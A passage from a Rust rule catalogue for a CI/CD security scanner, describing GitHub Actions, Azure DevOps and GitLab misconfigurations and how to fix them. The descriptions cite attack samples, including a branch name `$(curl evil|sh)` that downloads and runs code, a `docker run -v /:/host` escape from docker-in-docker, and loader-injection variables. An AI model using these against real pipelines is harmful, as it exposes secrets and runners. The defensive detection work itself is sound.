748             custom step) regardless of whether `-auto-approve` is present. Without an \
749             environment binding the step bypasses the only ADO-side approval gate, runs on \
750             every trigger, and produces no entry in the ADO Environments audit trail.",
751        default_level: "error",
752        security_severity: "7.5",
753        tags: &["security", "privilege-escalation", "azure-devops"],
754    },
755    RuleDef {
756        id: "long_lived_secret_without_oidc_recommendation",
757        name: "LongLivedSecretWithoutOidcRecommendation",
758        short_description:
759            "Long-lived cloud credential in scope; provider supports OIDC and no OIDC identity exists.",
760        full_description:
761            "A long-lived static credential is in scope (name matches an AWS / GCP / Azure \
762             pattern such as `AWS_*`, `GCP_*`, `GOOGLE_*`, `AZURE_*`, `ARM_*`) AND no OIDC \
763             identity is present in the workflow's authority graph. The named cloud supports \
764             OIDC federation, so the static credential could be replaced with a short-lived \
765             token issued at runtime. Advisory uplift on top of `long_lived_credential` — does \
766             not double-flag the underlying credential, only adds the migration recommendation. \
767             Wires the existing `Recommendation::FederateIdentity` enum variant.",
768        default_level: "note",
769        security_severity: "0.1",
770        tags: &["security", "credentials"],
771    },
772    RuleDef {
773        id: "pull_request_workflow_inconsistent_fork_check",
774        name: "PullRequestWorkflowInconsistentForkCheck",
775        short_description:
776            "Some privileged jobs in this PR workflow guard with a fork-check `if:`; others do not.",
777        full_description:
778            "A `pull_request` / `pull_request_target` workflow has multiple privileged jobs \
779             (jobs with steps that hold secrets or identity authority). At least one job's \
780             privileged steps are guarded by the standard fork-check `if:` \
781             (`github.event.pull_request.head.repo.fork == false` or the equivalent \
782             `head.repo.full_name == github.repository`) — but at least one OTHER privileged \
783             job is unguarded. The org has the right defensive instinct (some jobs have the \
784             check) but applied it inconsistently. The unguarded jobs hold authority that \
785             fork-PR code can reach. Add the same fork-check to every privileged job in the \
786             workflow.",
787        default_level: "error",
788        security_severity: "7.5",
789        tags: &["security", "privilege-escalation", "github-actions"],
790    },
791    RuleDef {
792        id: "gitlab_deploy_job_missing_protected_branch_only",
793        name: "GitlabDeployJobMissingProtectedBranchOnly",
794        short_description:
795            "GitLab deploy job targets a production environment but has no protected-branch restriction.",
796        full_description:
797            "A GitLab CI job has an `environment:` binding whose name matches a production \
798             pattern (`prod`, `production`, `prd`) but no `rules:` / `only:` clause restricts \
799             execution to protected branches. The job runs (or attempts to run) on every \
800             pipeline trigger — every MR, every push. If branch protection is later relaxed \
801             the deploy silently becomes runnable from unprotected branches. Add \
802             `rules: - if: '$CI_COMMIT_REF_PROTECTED == \"true\"'`, or `only: [main]` for the \
803             simplest case — both survive future changes to branch-protection settings.",
804        default_level: "warning",
805        security_severity: "5.0",
806        tags: &["security", "configuration", "gitlab"],
807        },
808        RuleDef {
809        id: "terraform_output_via_setvariable_shell_expansion",
810        name: "TerraformOutputViaSetvariableShellExpansion",
811        short_description:
812            "Terraform output captured into ##vso[task.setvariable] then expanded in a downstream shell — cross-step injection chain",
813        full_description:
814            "An ADO inline script (Bash@3, PowerShell@2, AzurePowerShell@5, AzureCLI@2 \
815             inline, or top-level `script:`) captures a Terraform output value — either a \
816             literal `terraform output` CLI invocation or a `$env:TF_OUT_*` / `$TF_OUT_*` \
817             env var sourced from a `TerraformCLI@*` `command: output` task — AND emits a \
818             `##vso[task.setvariable variable=NAME]VALUE` directive in the same step. A \
819             subsequent step in the same job then expands `$(NAME)` in shell-expansion \
820             position (`bash -c \"...\"`, `eval`, command substitution `$(...)`, PowerShell \
821             `-split` / `Invoke-Command` / `Invoke-Expression` / `iex`, or as an unquoted \
822             line-leading command word). The `task.setvariable` hop launders \
823             attacker-controlled Terraform state — sourced from a remote backend (S3 \
824             bucket, Azure Storage) whose IAM is often weaker than the pipeline's — \
825             through pipeline-variable space and into a shell interpreter. Pass the value \
826             via the downstream step's `env:` block (so the runtime quotes it as a shell \
827             variable) and validate the shape before splitting/looping.",
828        default_level: "error",
829        security_severity: "7.5",
830        tags: &["security", "injection", "azure-devops"],
831    },
832    RuleDef {
833        id: "risky_trigger_with_authority",
834        name: "RiskyTriggerWithAuthority",
835        short_description:
836            "High-blast-radius trigger paired with write permissions or non-default secrets.",
837        full_description:
838            "A workflow declares one of `issue_comment`, `pull_request_review`, \
839             `pull_request_review_comment`, or `workflow_run` alongside write-grant \
840             permissions or any secret other than the default `GITHUB_TOKEN`. These \
841             triggers carry the same effective blast radius as `pull_request_target` \
842             but slip past `trigger_context_mismatch`, exposing privileged credentials \
843             to anyone with comment access on the repo or any prior-run author.",
844        default_level: "error",
845        security_severity: "7.5",
846        tags: &["security", "privilege-escalation", "github-actions"],
847    },
848    RuleDef {
849        id: "sensitive_value_in_job_output",
850        name: "SensitiveValueInJobOutput",
851        short_description:
852            "Job output sourced from a secret/OIDC value or a credential-shaped name.",
853        full_description:
854            "A `jobs.<id>.outputs.<name>` declaration sources its value from \
855             `secrets.*`, an OIDC-bearing step output, or carries a credential-shaped \
856             name (suffix `_token`/`_secret`/`_key`/`_pem`/`_password`/`_credential[s]`/`_api_key`). \
857             Job outputs are written to the run log with only heuristic masking and \
858             propagate unmasked through `needs.<job>.outputs.*` to every downstream \
859             consumer — masking is never authoritative.",
860        default_level: "error",
861        security_severity: "7.5",
862        tags: &["security", "credentials", "github-actions"],
863    },
864    RuleDef {
865        id: "manual_dispatch_input_to_url_or_command",
866        name: "ManualDispatchInputToUrlOrCommand",
867        short_description:
868            "workflow_dispatch input flows into curl/wget/gh-api/checkout-ref — pivot to RCE.",
869        full_description:
870            "A `workflow_dispatch.inputs.*` value is interpolated into a command sink \
871             (`curl`, `wget`, `gh api`, `gh release`, `git clone`, `git fetch`) within a \
872             `run:` body, OR is used as the `ref:` for `actions/checkout`. Anyone with \
873             `Actions: write` on the repository can pivot the privileged run to \
874             attacker-controlled URLs/refs. Constrain the input via a `type: choice` \
875             allowlist or pass values through the step's `env:` block.",
876        default_level: "error",
877        security_severity: "7.5",
878        tags: &["security", "injection", "github-actions"],
879    },
880    RuleDef {
881        id: "script_injection_via_untrusted_context",
882        name: "ScriptInjectionViaUntrustedContext",
883        short_description:
884            "Untrusted context expression interpolated into a run/script body without env binding.",
885        full_description:
886            "A `run:` body or `actions/github-script` `script:` body interpolates an \
887             attacker-influenced `${{ … }}` expression — `github.event.*`, `github.head_ref`, \
888             or `inputs.*` from a privileged trigger — directly into the script text. The \
889             value is concatenated as raw shell/JS without going through an `env:` block, \
890             so a poisoned value (PR title/body, branch name) becomes arbitrary code on \
891             the runner. Pass attacker-influenced values through `env:` and reference them \
892             via `\"$VAR\"` (or `process.env.VAR` in github-script).",
893        default_level: "error",
894        security_severity: "9.0",
895        tags: &["security", "injection", "github-actions"],
896    },
897    RuleDef {
898        id: "interactive_debug_action_in_authority_workflow",
899        name: "InteractiveDebugActionInAuthorityWorkflow",
900        short_description:
901            "Interactive debug action (tmate/upterm) in a workflow holding non-default authority.",
902        full_description:
903            "A workflow that holds non-`GITHUB_TOKEN` secrets or non-default write \
904             permissions includes a step that uses an interactive debug action \
905             (`mxschmitt/action-tmate`, `lhotari/action-upterm`, `actions/tmate`, …). A \
906             maintainer flipping `debug_enabled=true` publishes the runner's full \
907             environment (every secret, the checked-out HEAD) over an external SSH \
908             endpoint. Remove the action or restrict it to a debugging-only workflow with \
909             no production secrets.",
910        default_level: "error",
911        security_severity: "7.5",
912        tags: &["security", "credentials", "github-actions"],
913    },
914    RuleDef {
915        id: "pr_specific_cache_key_in_default_branch_consumer",
916        name: "PrSpecificCacheKeyInDefaultBranchConsumer",
917        short_description:
918            "actions/cache key derives from PR-controlled context in a workflow that also runs on push to main.",
919        full_description:
920            "An `actions/cache` step keys the cache on a PR-derived expression \
921             (`github.head_ref`, `github.event.pull_request.head.ref`, `github.actor`) \
922             in a workflow that ALSO runs on `push: branches: [main]`. A PR can poison \
923             the cache that the default-branch build later restores — the classic \
924             cache-poisoning supply-chain primitive. Key the cache on stable inputs \
925             (commit SHA, lockfile hash) instead of PR-controlled context.",
926        default_level: "error",
927        security_severity: "7.5",
928        tags: &["security", "supply-chain", "github-actions"],
929    },
930    RuleDef {
931        id: "gh_cli_with_default_token_escalating",
932        name: "GhCliWithDefaultTokenEscalating",
933        short_description:
934            "gh CLI with default GITHUB_TOKEN performs write-class action in PR/issue/workflow_run trigger.",
935        full_description:
936            "A `run:` step uses `gh` / `gh api` with the default `GITHUB_TOKEN` to \
937             perform a write-class action (`pr merge`, `release create/upload`, \
938             `api -X POST/PATCH/PUT/DELETE` to repository, releases, secrets, or \
939             environments endpoints) inside a workflow triggered by `pull_request`, \
940             `issue_comment`, or `workflow_run`. Runtime privilege escalation that \
941             static permission audits miss — the token's scope at the YAML layer hides \
942             the actual write surface invoked at runtime.",
943        default_level: "error",
944        security_severity: "7.5",
945        tags: &["security", "privilege-escalation", "github-actions"],
946    },
947    RuleDef {
948        id: "gha_script_injection_to_privileged_shell",
949        name: "GhaScriptInjectionToPrivilegedShell",
950        short_description: "Untrusted GitHub context reaches privileged shell script.",
951        full_description:
952            "A run/script body interpolates attacker-controlled GitHub context directly \
953             into shell or JavaScript while the job holds secrets, OIDC, or write-token \
954             authority. This is the high-confidence subset of script injection leads.",
955        default_level: "error",
956        security_severity: "9.0",
957        tags: &["security", "injection", "github-actions"],
958    },
959    RuleDef {
960        id: "gha_workflow_run_artifact_poisoning_to_privileged_consumer",
961        name: "GhaWorkflowRunArtifactPoisoningToPrivilegedConsumer",
962        short_description: "PR artifact is interpreted by privileged workflow_run consumer.",
963        full_description:
964            "A workflow_run or pull_request_target consumer downloads PR-context artifact \
965             content, interprets it, and holds write-token or non-default authority. This \
966             is the high-confidence artifact-poisoning lane.",
967        default_level: "error",
968        security_severity: "9.0",
969        tags: &["security", "artifact", "github-actions"],
970    },
971    RuleDef {
972        id: "gha_remote_script_in_authority_job",
973        name: "GhaRemoteScriptInAuthorityJob",
974        short_description: "Mutable remote script executes inside authority-bearing job.",
975        full_description:
976            "A curl/wget/deno remote-script execution pattern pinned to mutable branch \
977             content runs in a job with secrets, OIDC, cloud, registry, package, signing, \
978             or write-token authority.",
979        default_level: "error",
980        security_severity: "9.0",
981        tags: &["security", "supply-chain", "github-actions"],
982    },
983    RuleDef {
984        id: "gha_pat_remote_url_write",
985        name: "GhaPatRemoteUrlWrite",
986        short_description: "Git remote URL embeds token material during write operation.",
987        full_description:
988            "A GitHub Actions shell step embeds token material in a GitHub remote URL and \
989             performs write-capable git operations, exposing the token through argv, logs, \
990             shell history, or .git/config.",
991        default_level: "error",
992        security_severity: "7.5",
993        tags: &["security", "credentials", "github-actions"],
994    },
995    RuleDef {
996        id: "gha_env_credential_helper_config_redirect_before_authority",
997        name: "GhaEnvCredentialHelperConfigRedirectBeforeAuthority",
998        short_description:
999            "Credential-helper config env is redirected before authority-bearing helpers run.",
1000        full_description:
1001            "An earlier same-job step writes credential-helper configuration environment \
1002             such as AWS_CONFIG_FILE, KUBECONFIG, DOCKER_CONFIG, NPM_CONFIG_USERCONFIG, \
1003             or GOOGLE_APPLICATION_CREDENTIALS through GITHUB_ENV before a later cloud, \
1004             registry, package, signing, or write-token helper boundary runs.",
1005        default_level: "error",
1006        security_severity: "7.8",
1007        tags: &["security", "credentials", "github-actions"],
1008    },
1009    RuleDef {
1010        id: "gha_env_node_options_code_injection_before_node_authority",
1011        name: "GhaEnvNodeOptionsCodeInjectionBeforeNodeAuthority",
1012        short_description: "NODE_OPTIONS startup injection precedes Node authority.",
1013        full_description:
1014            "An earlier same-job step writes NODE_OPTIONS startup injection flags such as \
1015             --require, --import, or --experimental-loader through GITHUB_ENV before a \
1016             later Node, npm, npx, pnpm, yarn, or JavaScript action boundary runs with \
1017             package, cloud, OIDC, or write-token authority.",
1018        default_level: "error",
1019        security_severity: "8.0",
1020        tags: &["security", "injection", "github-actions"],
1021    },
1022    RuleDef {
1023        id: "gha_env_dyld_or_ld_library_path_before_credential_helper",
1024        name: "GhaEnvDyldOrLdLibraryPathBeforeCredentialHelper",
1025        short_description: "Dynamic-loader env state precedes credential helpers.",
1026        full_description:
1027            "An earlier same-job step writes LD_PRELOAD, LD_LIBRARY_PATH, DYLD_INSERT_LIBRARIES, \
1028             or DYLD_LIBRARY_PATH through GITHUB_ENV before a later credential helper runs \
1029             with cloud, registry, package, signing, or write-token authority.",
1030        default_level: "error",
1031        security_severity: "8.0",
1032        tags: &["security", "injection", "github-actions"],
1033    },
1034    RuleDef {
1035        id: "gha_workflow_call_container_image_input_secrets_inherit",
1036        name: "GhaWorkflowCallContainerImageInputSecretsInherit",
1037        short_description: "Reusable workflow inherits secrets with caller-controlled image input.",
1038        full_description:
1039            "A reusable workflow call or callee allows caller-controlled container image \
1040             selection while secrets: inherit, OIDC, cloud, registry, package, or write-token \
1041             authority is available across the caller/callee boundary.",
1042        default_level: "error",
1043        security_severity: "7.8",
1044        tags: &["security", "privilege-escalation", "github-actions"],
1045    },
1046    RuleDef {
1047        id: "gha_workflow_call_runner_label_input_privilege_escalation",
1048        name: "GhaWorkflowCallRunnerLabelInputPrivilegeEscalation",
1049        short_description: "Reusable workflow accepts caller-controlled runner labels with authority.",
1050        full_description:
1051            "A reusable workflow call or callee allows caller-controlled runner label \
1052             selection while secrets, OIDC, cloud, registry, package, or write-token authority \
1053             is available. Dynamic runner selection can become runner-placement authority.",
1054        default_level: "error",
1055        security_severity: "7.8",
1056        tags: &["security", "privilege-escalation", "github-actions"],
1057    },
1058    RuleDef {
1059        id: "gha_container_image_attacker_influenced_with_secret_env",
1060        name: "GhaContainerImageAttackerInfluencedWithSecretEnv",
1061        short_description: "Authority-bearing job uses attacker-influenced container image.",
1062        full_description:
1063            "A job container image is selected from inputs, matrix, event, or needs output \
1064             state while secret, OIDC, registry, cloud, package, or write-token authority \
1065             is present in the same job.",
1066        default_level: "error",
1067        security_severity: "7.8",
1068        tags: &["security", "supply-chain", "github-actions"],
1069    },
1070    RuleDef {
1071        id: "gha_attestation_subject_digest_from_step_output_unverified",
1072        name: "GhaAttestationSubjectDigestFromStepOutputUnverified",
1073        short_description: "Attestation signs a digest supplied by mutable workflow output state.",
1074        full_description:
1075            "An attestation action signs subject-digest from earlier step, needs, input, or \
1076             matrix output state while id-token: write and attestations: write authority are \
1077             present. The rule identifies attestation trusted-channel candidates, not confirmed \
1078             downstream verifier impact.",
1079        default_level: "error",
1080        security_severity: "7.8",
1081        tags: &["security", "attestation", "github-actions"],
1082    },
1083    RuleDef {
1084        id: "gha_attestation_subject_path_workspace_glob_with_pr_trigger",
1085        name: "GhaAttestationSubjectPathWorkspaceGlobWithPrTrigger",
1086        short_description: "PR-reachable attestation signs workspace/glob subject paths.",
1087        full_description:
1088            "A PR-capable or workflow_run workflow invokes an attestation action with a \
1089             workspace or glob subject-path while attestation authority is present. This \
1090             surfaces cases where PR-controlled workspace bytes may affect the trusted \
1091             attestation channel.",
1092        default_level: "error",
1093        security_severity: "7.8",
1094        tags: &["security", "attestation", "github-actions"],
1095    },
1096    RuleDef {
1097        id: "gha_attestation_config_driven_gate_from_workspace_file",
1098        name: "GhaAttestationConfigDrivenGateFromWorkspaceFile",
1099        short_description: "Attestation gate is driven by config or output state.",
1100        full_description:
1101            "An attestation step is gated by needs/step output state that appears to be \
1102             derived from config, artifact, publishing, or dist metadata while attestation \
1103             authority is present. Release-grade gates should come from protected event \
1104             state or explicit approval, not workspace-derived outputs.",
1105        default_level: "error",
1106        security_severity: "7.8",
1107        tags: &["security", "attestation", "github-actions"],
1108    },
1109    RuleDef {
1110        id: "gha_telemetry_pr_or_issue_text_to_external_sink",
1111        name: "GhaTelemetryPrOrIssueTextToExternalSink",
1112        short_description: "Untrusted PR, issue, or comment text reaches external telemetry.",
1113        full_description:
1114            "A workflow sends attacker-controlled pull-request, issue, review, commit, or \
1115             comment text to Slack, Discord, webhook, Sentry, Datadog, Honeycomb, or similar \
1116             telemetry sinks. Escape, cap, and separate this text from authority-bearing logs.",
1117        default_level: "warning",
1118        security_severity: "5.5",
1119        tags: &["security", "telemetry", "github-actions"],
1120    },
1121    RuleDef {
1122        id: "gha_telemetry_debug_flag_with_secret_env",
1123        name: "GhaTelemetryDebugFlagWithSecretEnv",
1124        short_description: "Actions debug logging is enabled while secrets are present.",
1125        full_description:
1126            "A job enables ACTIONS_STEP_DEBUG or ACTIONS_RUNNER_DEBUG while secret, token, \
1127             OIDC, cloud, registry, package, or signing authority is present. Debug telemetry \
1128             can widen exposure through logs and retained artifacts.",
1129        default_level: "error",
1130        security_severity: "7.0",
1131        tags: &["security", "telemetry", "github-actions"],
1132    },
1133    RuleDef {
1134        id: "gha_telemetry_autonomous_agent_input_from_untrusted_event",
1135        name: "GhaTelemetryAutonomousAgentInputFromUntrustedEvent",
1136        short_description: "Autonomous agent receives untrusted event text with write authority nearby.",
1137        full_description:
1138            "An autonomous coding or repair agent receives PR, issue, comment, or workflow_run \
1139             context while write-class tools, tokens, or later git/API mutation are available. \
1140             Split analysis from mutation and gate write tools explicitly.",
1141        default_level: "error",
1142        security_severity: "8.0",
1143        tags: &["security", "autonomous-agent", "github-actions"],
1144    },
1145    RuleDef {
1146        id: "gha_workflow_run_artifact_to_blob_storage_token",
1147        name: "GhaWorkflowRunArtifactToBlobStorageToken",
1148        short_description: "workflow_run artifact is uploaded to blob/object storage with authority.",
1149        full_description:
1150            "A workflow_run or pull_request_target consumer downloads artifact content and \
1151             uploads it to blob, object, or release storage while write-token or deploy authority \
1152             is available. Treat upstream artifacts as untrusted until rebuilt or provenance-checked.",
1153        default_level: "error",
1154        security_severity: "8.0",
1155        tags: &["security", "artifact", "github-actions"],
1156    },
1157    RuleDef {
1158        id: "gha_api_workflow_run_artifact_to_autonomous_agent_to_git_push",
1159        name: "GhaApiWorkflowRunArtifactToAutonomousAgentToGitPush",
1160        short_description: "workflow_run artifact reaches autonomous agent before git/API mutation.",
1161        full_description:
1162            "A workflow_run or pull_request_target consumer downloads lower-trust artifact data, \
1163             feeds or colocates it with an autonomous agent, then performs git or GitHub API \
1164             mutation under write authority in the same job.",
1165        default_level: "error",
1166        security_severity: "8.5",
1167        tags: &["security", "artifact", "autonomous-agent", "github-actions"],
1168    },
1169    RuleDef {
1170        id: "gha_manifest_npm_lifecycle_hook_pr_trigger_with_token",
1171        name: "GhaManifestNpmLifecycleHookPrTriggerWithToken",
1172        short_description: "PR-reachable npm-family install runs lifecycle hooks with authority.",
1173        full_description:
1174            "A pull_request or pull_request_target workflow invokes npm, pnpm, or yarn \
1175             install commands without --ignore-scripts while secrets, OIDC, registry/cloud \
1176             credentials, or write-token authority are present in the same job.",
1177        default_level: "error",
1178        security_severity: "8.0",
1179        tags: &["security", "manifest-as-code", "npm", "github-actions"],
1180    },
1181    RuleDef {
1182        id: "gha_manifest_python_m_build_with_pr_credentials",
1183        name: "GhaManifestPythonMBuildWithPrCredentials",
1184        short_description: "PR-reachable Python build/install runs with publish authority.",
1185        full_description:
1186            "A PR-reachable workflow invokes Python build, setup.py, pip install, wheel, \
1187             cibuildwheel, maturin, pdm, or poetry build paths while publish credentials, \
1188             OIDC, or write-token authority are available. Build artifacts should be \
1189             produced without publish authority and rebuilt or verified before release.",
1190        default_level: "error",
1191        security_severity: "8.0",
1192        tags: &["security", "manifest-as-code", "python", "github-actions"],
1193    },
1194    RuleDef {
1195        id: "gha_manifest_cargo_build_rs_pull_request_with_token",
1196        name: "GhaManifestCargoBuildRsPullRequestWithToken",
1197        short_description: "PR-reachable Cargo build/test can run build.rs with authority.",
1198        full_description:
1199            "A pull_request or pull_request_target workflow invokes Cargo compile paths \
1200             while secrets, OIDC, registry/cloud credentials, or write-token authority are \
1201             present. Cargo build.rs, build-dependencies, and proc-macros are executable \
1202             manifest-controlled code.",
1203        default_level: "error",
1204        security_severity: "8.0",
1205        tags: &["security", "manifest-as-code", "rust", "github-actions"],
1206    },
1207    RuleDef {
1208        id: "gha_manifest_makefile_with_pr_trigger_and_secrets",
1209        name: "GhaManifestMakefileWithPrTriggerAndSecrets",
1210        short_description: "PR/workflow_run-reachable make runs with secret authority.",
1211        full_description:
1212            "A pull_request, pull_request_target, workflow_run, or issue_comment workflow \
1213             invokes make/gmake/bmake while secrets, OIDC, registry/cloud credentials, or \
1214             write-token authority are present. Makefile recipes are workspace-controlled \
1215             shell and should run without authority unless protected and verified.",
1216        default_level: "error",
1217        security_severity: "8.0",
1218        tags: &["security", "manifest-as-code", "make", "github-actions"],
1219    },
1220    RuleDef {
1221        id: "gha_manifest_submodules_recursive_with_pr_authority",
1222        name: "GhaManifestSubmodulesRecursiveWithPrAuthority",
1223        short_description: "Recursive submodule checkout runs in PR-reachable authority job.",
1224        full_description:
1225            "A PR/workflow_run-reachable job invokes actions/checkout with submodules: \
1226             true or recursive while authority is present. PR-mutable .gitmodules can \
1227             redirect workspace content unless URLs and SHAs are allowlisted.",
1228        default_level: "error",
1229        security_severity: "8.0",
1230        tags: &["security", "manifest-as-code", "git", "github-actions"],
1231    },
1232    RuleDef {
1233        id: "gha_crossrepo_workflow_call_floating_ref_cascade",
1234        name: "GhaCrossrepoWorkflowCallFloatingRefCascade",
1235        short_description: "Cross-repo reusable workflow call uses a mutable ref.",
1236        full_description:
1237            "A reusable workflow call uses org/repo/.github/workflows/file.yml@main, \
1238             @master, @HEAD, or a floating major tag. The producer repo's branch \
1239             protection becomes the effective security boundary for the consumer workflow.",
1240        default_level: "error",
1241        security_severity: "8.0",
1242        tags: &["security", "manifest-as-code", "workflow-call", "github-actions"],
1243    },
1244    RuleDef {
1245        id: "gha_crossrepo_secrets_inherit_unreviewed_callee",
1246        name: "GhaCrossrepoSecretsInheritUnreviewedCallee",
1247        short_description: "Cross-repo reusable workflow inherits all caller secrets.",
1248        full_description:
1249            "A reusable workflow call forwards secrets: inherit to a cross-repo callee. \
1250             Replace it with an explicit named secret map and pin/audit the callee before \
1251             forwarding deploy, package, cloud, signing, or registry authority.",
1252        default_level: "error",
1253        security_severity: "8.0",
1254        tags: &["security", "manifest-as-code", "workflow-call", "github-actions"],
1255    },
1256    RuleDef {
1257        id: "gha_issue_comment_command_to_write_token",
1258        name: "GhaIssueCommentCommandToWriteToken",
1259        short_description: "Issue comment input reaches write-token command sink.",
1260        full_description:
1261            "An issue_comment workflow reads comment or issue-controlled input near gh, \
1262             git, dispatch, or API mutation sinks while write-token authority is present.",
1263        default_level: "error",
1264        security_severity: "7.5",
1265        tags: &["security", "privilege-escalation", "github-actions"],
1266    },
1267    RuleDef {
1268        id: "gha_pr_build_pushes_publishable_image",
1269        name: "GhaPrBuildPushesPublishableImage",
1270        short_description: "PR-triggered build pushes image with publish authority.",
1271        full_description:
1272            "A pull_request or pull_request_target workflow builds and pushes a container \
1273             image while registry or cloud publish authority is present. This is the \
1274             publishable-image subset of PR image build leads.",
1275        default_level: "error",
1276        security_severity: "7.5",
1277        tags: &["security", "supply-chain", "github-actions"],
1278    },
1279    RuleDef {
1280        id: "gha_manual_dispatch_ref_to_privileged_checkout",
1281        name: "GhaManualDispatchRefToPrivilegedCheckout",
1282        short_description: "workflow_dispatch input controls privileged checkout ref.",
1283        full_description:
1284            "A workflow_dispatch input controls actions/checkout ref in a job that holds \
1285             write-token, secret, OIDC, or deploy authority. Dispatch permission becomes \
1286             code-selection authority on a privileged runner.",
1287        default_level: "error",
1288        security_severity: "7.5",
1289        tags: &["security", "injection", "github-actions"],
1290    },
1291    RuleDef {
1292        id: "ci_job_token_to_external_api",
1293        name: "CiJobTokenToExternalApi",
1294        short_description:
1295            "GitLab `$CI_JOB_TOKEN` used as a bearer credential against an HTTP endpoint or `docker login`",
1296        full_description:
1297            "A GitLab CI job uses `$CI_JOB_TOKEN` (or `gitlab-ci-token:$CI_JOB_TOKEN`) as a \
1298             bearer credential — passed to `curl`/`wget` against `${CI_API_V4_URL}/projects/...`, \
1299             handed to `docker login registry.gitlab.com`, or sent as a `JOB-TOKEN:` / \
1300             `Authorization:` header. CI_JOB_TOKEN's default scope is broad (container-registry \
1301             write to the caller's project, Helm/Generic Package upload, project read), so a \
1302             poisoned MR job that emits the token to an attacker-controlled endpoint can pivot \
1303             to package or registry pushes. Scope the token under Settings → CI/CD → Job token \
1304             permissions and prefer dedicated short-lived deploy tokens for uploads.",
1305        default_level: "error",
1306        security_severity: "7.5",
1307        tags: &["security", "credentials", "gitlab-ci"],
1308    },
1309    RuleDef {
1310        id: "id_token_audience_overscoped",
1311        name: "IdTokenAudienceOverscoped",
1312        short_description:
1313            "GitLab `id_tokens:` audience is wildcard or shared between MR-context and protected jobs",
1314        full_description:
1315            "A GitLab CI `id_tokens:` declares an `aud:` value that is either a wildcard / \
1316             catch-all string OR is reused across `merge_request_event` jobs and \
1317             protected-branch jobs in the same file. The audience is what trades for \
1318             downstream cloud / Vault credentials — when the same audience is reachable from \
1319             both untrusted (MR) and privileged (protected-branch) jobs, a poisoned MR can \
1320             mint a token that the downstream IdP will exchange for the same role the \
1321             production deploy uses. Bind each downstream role / Vault path to a unique \
1322             audience derived from the trust context of the consuming job.",
1323        default_level: "error",
1324        security_severity: "7.5",
1325        tags: &["security", "privilege-escalation", "gitlab-ci"],
1326    },
1327    RuleDef {
1328        id: "untrusted_ci_var_in_shell_interpolation",
1329        name: "UntrustedCiVarInShellInterpolation",
1330        short_description:
1331            "Attacker-controlled GitLab predefined var interpolated unquoted into shell or environment.url",
1332        full_description:
1333            "A GitLab CI step interpolates an attacker-controlled predefined variable \
1334             (`$CI_COMMIT_BRANCH`, `$CI_COMMIT_REF_NAME`, `$CI_COMMIT_TAG`, \
1335             `$CI_COMMIT_MESSAGE`, `$CI_COMMIT_TITLE`, `$CI_COMMIT_DESCRIPTION`, \
1336             `$CI_COMMIT_AUTHOR`, `$CI_MERGE_REQUEST_TITLE`, \
1337             `$CI_MERGE_REQUEST_DESCRIPTION`, `$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME`) \
1338             into `script:` / `before_script:` / `after_script:` or into \
1339             `environment:url:` without single-quote isolation or `printf %q` \
1340             sanitisation. A branch named `` $(curl evil|sh) `` or an MR title containing \
1341             backticks executes inside the runner with the job's full authority — the \
1342             GitLab generalisation of the GitHub Actions `script-injection` class. Pass \
1343             the value through the step's `variables:` block and reference it as a quoted \
1344             shell variable, or use the pre-sanitised `$CI_COMMIT_REF_SLUG` for URL \
1345             contexts.",
1346        default_level: "error",
1347        security_severity: "7.5",
1348        tags: &["security", "injection", "gitlab-ci"],
1349    },
1350    RuleDef {
1351        id: "unpinned_include_remote_or_branch_ref",
1352        name: "UnpinnedIncludeRemoteOrBranchRef",
1353        short_description:
1354            "GitLab include: references a mutable branch (remote raw, project ref, or no ref).",
1355        full_description:
1356            "A GitLab CI `include:` references either (a) a `remote:` URL pointing at a \
1357             branch (`/-/raw/<branch>/...`), (b) a `project:` whose `ref:` resolves to a \
1358             mutable branch, or (c) an include with no `ref:` (defaults to HEAD). Whoever \
1359             owns that branch can backdoor every consumer's pipeline silently — included \
1360             YAML executes with the consumer's secrets and CI_JOB_TOKEN. Pin every \
1361             include to a tag or commit SHA.",
1362        default_level: "error",
1363        security_severity: "7.5",
1364        tags: &["security", "supply-chain", "gitlab-ci"],
1365    },
1366    RuleDef {
1367        id: "dind_service_grants_host_authority",
1368        name: "DindServiceGrantsHostAuthority",
1369        short_description:
1370            "GitLab job runs docker-in-docker AND holds a non-default secret — host filesystem reachable.",
1371        full_description:
1372            "A GitLab job declares a `services: [docker:*-dind]` sidecar AND holds at \
1373             least one non-CI_JOB_TOKEN secret. docker-in-docker exposes the full Docker \
1374             socket inside the job container — a malicious build step can `docker run -v \
1375             /:/host` from inside dind and read the runner host filesystem (other jobs' \
1376             artifacts, cached creds). Use rootless buildah/buildkit or split secret \
1377             handling into a separate job that does not enable dind.",
1378        default_level: "error",
1379        security_severity: "7.5",
1380        tags: &["security", "isolation", "gitlab-ci"],
1381    },
1382    RuleDef {
1383        id: "security_job_silently_skipped",
1384        name: "SecurityJobSilentlySkipped",
1385        short_description:
1386            "Scanner job (sast/dast/secret_detection/etc) runs with allow_failure: true and no surfacing rule.",
1387        full_description:
1388            "A GitLab job whose name or `extends:` matches scanner patterns (`sast`, \
1389             `dast`, `secret_detection`, `dependency_scanning`, `container_scanning`, \
1390             `gitleaks`, `trivy`, `grype`, `semgrep`, …) runs with `allow_failure: true` \
1391             AND has no `rules:` clause that surfaces the failure. The pipeline goes \
1392             green even when the scan errors out — silent-pass is worse than no scan \
1393             because reviewers trust the badge. Drop `allow_failure:` or guard it with \
1394             a `rules: when: manual` that requires explicit override.",
1395        default_level: "warning",
1396        security_severity: "5.0",
1397        tags: &["security", "supply-chain", "gitlab-ci"],
1398    },
1399    RuleDef {
1400        id: "child_pipeline_trigger_inherits_authority",
1401        name: "ChildPipelineTriggerInheritsAuthority",
1402        short_description:
1403            "GitLab trigger: job runs in MR context OR uses dynamic include:artifact: — code-injection sink.",
1404        full_description:
1405            "A GitLab `trigger:` job (downstream / child pipeline) runs in \
1406             `merge_request_event` context OR uses `include: artifact:` from a previous \
1407             job (dynamic child pipeline). Dynamic child pipelines are a code-injection \
1408             sink — anything the build step writes to the artifact runs as a real \
1409             pipeline with the parent project's secrets. Restrict `trigger:` jobs to \
1410             protected-branch contexts and prefer static `include:local:` over dynamic \
1411             artifact-based includes.",
1412        default_level: "error",
1413        security_severity: "7.5",
1414        tags: &["security", "privilege-escalation", "gitlab-ci"],
1415    },
1416    RuleDef {
1417        id: "cache_key_crosses_trust_boundary",
1418        name: "CacheKeyCrossesTrustBoundary",
1419        short_description:
1420            "GitLab cache key is hardcoded or shared between MR and protected jobs without policy: pull.",
1421        full_description:
1422            "A GitLab `cache:` declaration whose `key:` is hardcoded, `$CI_JOB_NAME` \
1423             only, or `$CI_COMMIT_REF_SLUG` without a `policy: pull` restriction. \
1424             Caches are stored per-runner keyed by `key:`; a poisoned MR can push a \
